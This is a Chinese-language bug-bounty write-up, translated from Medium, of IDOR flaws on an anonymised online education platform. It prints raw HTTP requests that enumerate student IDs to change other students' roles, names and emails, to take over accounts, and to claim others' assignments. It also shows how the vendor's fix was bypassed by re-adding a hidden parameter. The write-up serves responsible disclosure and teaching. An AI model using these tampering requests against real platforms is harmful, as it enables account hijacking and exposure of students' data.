知名在線教育平台的IDOR漏洞

  • 2020 年 2 月 20 日
  • 筆記

在前一篇關於越權漏洞(IDOR)的分享中,我們談了一些用戶功能處存在的隱患點,今天再來聊聊另一個最近發現的IDOR漏洞,出於保密原因,文中提及的目標網站我們以xyz.com代替,漏洞獲得廠商$3,650的獎勵。

簡單對目標網站xyz.com做個介紹:它是一個在線教育平台,主要提供政治/媒體/歷史等方面的培訓,其中內置分組聊天功能,幾乎全球著名的大學都使用了該平台為在校學生進行輔導教學。在前端應用中,教師(管理者admin)通過創建課程,然後邀請學生(低權限用戶)加入課程學習。整個在線教學過程中,將有討論、作業指導以及課題項目等分類。

首先是,在前端接口服務的討論分組功能中,存在學生角色可更改的IDOR漏洞,其角色更改請求如下:

PATCH /api/api/v1.0/lesson/26201/student_roles/224410 HTTP/1.1Host: xyz.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0Accept: application/jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://xyz.com/Access-Token: [REDUCTED]Content-Type: application/json; charset=utf-8Content-Length: 43Connection: closeCookie: visid_incap_633468=RCwAKw4IRCegxMVVw4Wx+6{"student_id":"40990","role_guide_id":"22"}

這裡存在兩個參數,一個是課程管理員ID(Class admin ID)26201,另一個是學生角色ID(Student Role ID)224410,有點奇怪的是,這個學生角色ID和請求內容中的student_id號40990有關聯。所以,如果我們以某個student_id號假設48990為目標,保持課程管理員ID26201不變,通過在一定範圍內枚舉猜測其學生角色ID(Student Role ID),這樣的話我們完全有可能得到其對應的學生角色ID(Student Role ID),最終可實現對該生的課程角色變化,如從課程中刪除或添加到其它課程等操作。

之後,我又用此方法發現了另外一個請求中的IDOR漏洞:

PATCH /api/api/v1.0/user_resource/student/[Victim Id 40994] HTTP/1.1Host: xyz.comUser-Agent: Mozilla/5.0 Accept: application/jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://xyz.comAccess-Token: []Content-Type: application/json; charset=utf-8Content-Length: 48Connection: closeCookie: [Cookie Reducted]{"first_name":"john","last_name":"wick"}

在該請求中,通過改變學生的ID號Victim Id,結合請求體中的姓和名的內容,我們就能更改Victim Id對應學生的姓名信息,原始請求中只有」first_name」和」last_name」參數,之後,我又嘗試增加了一個「email」參數,組成以下請求:

PATCH /api/api/v1.0/user_resource/student/[Victim Id 40994] HTTP/1.1Host: xyz.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0Accept: application/jsonAccept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://xyz.comAccess-Token: []Content-Type: application/json; charset=utf-8Content-Length: 48Connection: closeCookie: [Cookie Reducted]{"first_name":"baba","last_name":"yaga","email":"[email protected]"}

這一改,服務端響應回來狀態碼為200,竟然是可以的!所以,同樣可用枚舉生ID號Victim Id的方式,就能對所有學生信息進行更改了。可以導致:任意學生信息泄露、任意學生信息更改、郵箱更改導致的賬戶劫持、針對某課程對學生進行任意添加刪除、添加成為某課程學員。

其次,在學生作業提交請求中也存在IDOR漏洞,作業提交請求如下:

POST /api/api/v1.0/lesson/26201/assessment_answer HTTP/1.1Host: xyz.comConnection: closeContent-Length: 778Accept: application/jsonOrigin: https://xyz.comAccess-Token: 9LgDXO27k1-yScnlUuo_gY5AKIG80y0IvTeCxa2KeZQUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.96 Safari/537.36Content-Type: application/json; charset=UTF-8Referer: https://xyz.comAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: []{"title":"Assignment","student":"40994","section_id":"case","completed":false,"lesson":"26201","assignment":"4579","answers":[{"field_answer":"hello","field_question_ref":"4569"},"file_url":"5830"}

在上述請求中可以看到,其file_url為數據型的,通過更改其中的數值就能把其他學生的提交作業變成我的提交作業了,同時還能看到其他學生的作業信息,如下:

HTTP/1.1 200 OKAccept-Ranges: bytesAge: 0Cache-Control: no-cache, must-revalidateContent-Type: application/json; charset=utf-8Date: Sun, 12 May 2019 18:01:07 GMTExpires: Sun, 19 Nov 1978 05:00:00 GMTServer: Apache/2.2.15 (Red Hat)Vary: AcceptVia: 1.1 varnishWebServer: prod1-mdX-API-Version: v1.0X-Cache: MISSX-Content-Type-Options: nosniffX-Drupal-Cache: MISSX-Powered-By: PHP/7.1.23X-Varnish: 762262632Content-Length: 1465Connection: CloseX-Iinfo: 14-119388817-119389061 NNNN CT(0 0 0) RT(1557684060144 1031) q(0 0 0 -1) r(55 55) U6X-CDN: Incapsula{"data":[REDUCTED"file_url":"https://files.xyz.org/user_files/simulation_27244/MD MEMO_0.docx","REDUCTED}}

在發現以上漏洞後,我及時提交給了廠商,當漏洞修復完成時,我在複測時,又發現了上面這個作業提交請求中還仍然存在IDOR漏洞。修復後的作業提交請求如下:

PATCH /api/api/v1.0/lesson/30699/assessment_answer/30709 HTTP/1.1Host: xyz.comUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0Accept: application/jsonAccept-Language: en-US,en;q=0.5Referer: https://xyz.org/Access-Token: HNg-F0wiTIrxDtc1qDQL2TjHv-ERroxmIowIUkM8BloContent-Type: application/json; charset=utf-8Content-Length: 1206Cookie: [REDUCTED]{"completed":true,"answers":[{"field_answer":"xyz.burpcollaborator.net","[Reducted]:"xyz.burpcollaborator.net","field_question_ref":"139"}]}

可見,其中確實沒有了file_url參數。在BurpSuite中的請求如下:

響應如下:

奇怪的是,響應內容中可以看到一個「file_url」:null名值對,所以,我又嘗試在請求中添加進了「file_url」參數值,果然,還是和修復之前一樣可以成功響應!所以最後的經驗是,要學會從請求的響應中觀察那些隱藏的參數。

*參考來源:medium,clouds 編譯整理,轉載請註明來自 FreeBuf.COM